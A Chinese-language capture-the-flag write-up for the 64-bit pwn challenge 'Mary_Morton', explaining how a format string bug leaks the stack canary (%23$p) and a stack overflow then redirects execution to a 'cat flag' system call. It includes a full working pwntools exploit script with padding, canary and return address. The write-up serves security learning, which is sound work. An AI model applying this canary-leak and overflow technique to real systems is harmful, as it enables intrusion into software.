前言:
前文绕canary防护1中程序时32位的,这篇文章中pwn的程序是64位的,都是利用格式化字符串漏洞leak canary的值,然后直接栈溢出即可,只是位数不同,利用格式化字符串漏洞泄露金丝雀值也略微不同。
题目:Mary_Morton-攻防世界
检查软件的详细信息:
64的金丝雀与NX,拖入IDA64查看:
当输入等于2时存在格式化字符串漏洞:
当输入等于3时exit(0),等于1时存在栈溢出漏洞:
那么基本思路是使用格式化字符串漏洞leak金丝雀的值,此处存在一个64位相对于32的坑,众所周知64的函数传参是前六个存在RID等六个寄存器中,从第七个开始入栈,所以在利用格式化字符串漏洞是会有六个偏移。获取到金丝雀的值后利用栈溢出漏洞即可,同时程序中存在cat flag的system函数。
可以看到格式化字符串漏斗的函数内canary的位置位rbp - 8。
下面查看canary的格式化字符offset,使用调试工具进行动态调试,找到canary的位置:
格式化字符串偏移为17 + 6 = 23,那么输入%23$p即可泄露处canary的值,此处也有一个小坑,32bit的使用$x即可,而64bit的不允许$x,只能使用$llx或$p。注意,此64bit题目,有的人会直接(0x90 - 8)/8在加6,这么做的技术原理没理解透,或许是因为当%7$p时,第七个参数为&buf起始?可又是为什么呢,后续理解了再说吧。。。。具体payload构造如下:
from pwn import *
context.log_level = "debug"
#p = remote('111.198.29.45',51801)
p = process('./Mary_Morton')
p.recvuntil('3. Exit the battle \n')
p.sendline('2')
#p.sendlineafter('3. Exit the battle \n','2')
payload = '%23$p'
p.sendline(payload)
#sleep(0.5)
canary_addr = int(p.recv(18),16)
#print canary_addr
#print int(canary_addr)
flag_addr = 0x4008DA
#p.sendlineafter('3. Exit the battle \n','1')
p.recvuntil('3. Exit the battle \n')
p.sendline('1')
payload = 'A' * 136 + p64(canary_addr) + 'A' * 8 + p64(flag_addr)
p.sendline(payload)
p.interactive()
脚本运行结果如下:
总结:
- 64bit程序中利用格式化字符串漏洞需要多偏移6内存单元。
- 格式化字符串漏洞使用$p或llx泄露。
- 注意sendline()中的字符,此程序中多了一个空格加\n,一般空格可以直接看出,但是\n要注意。
- 后续直接获取shell。
|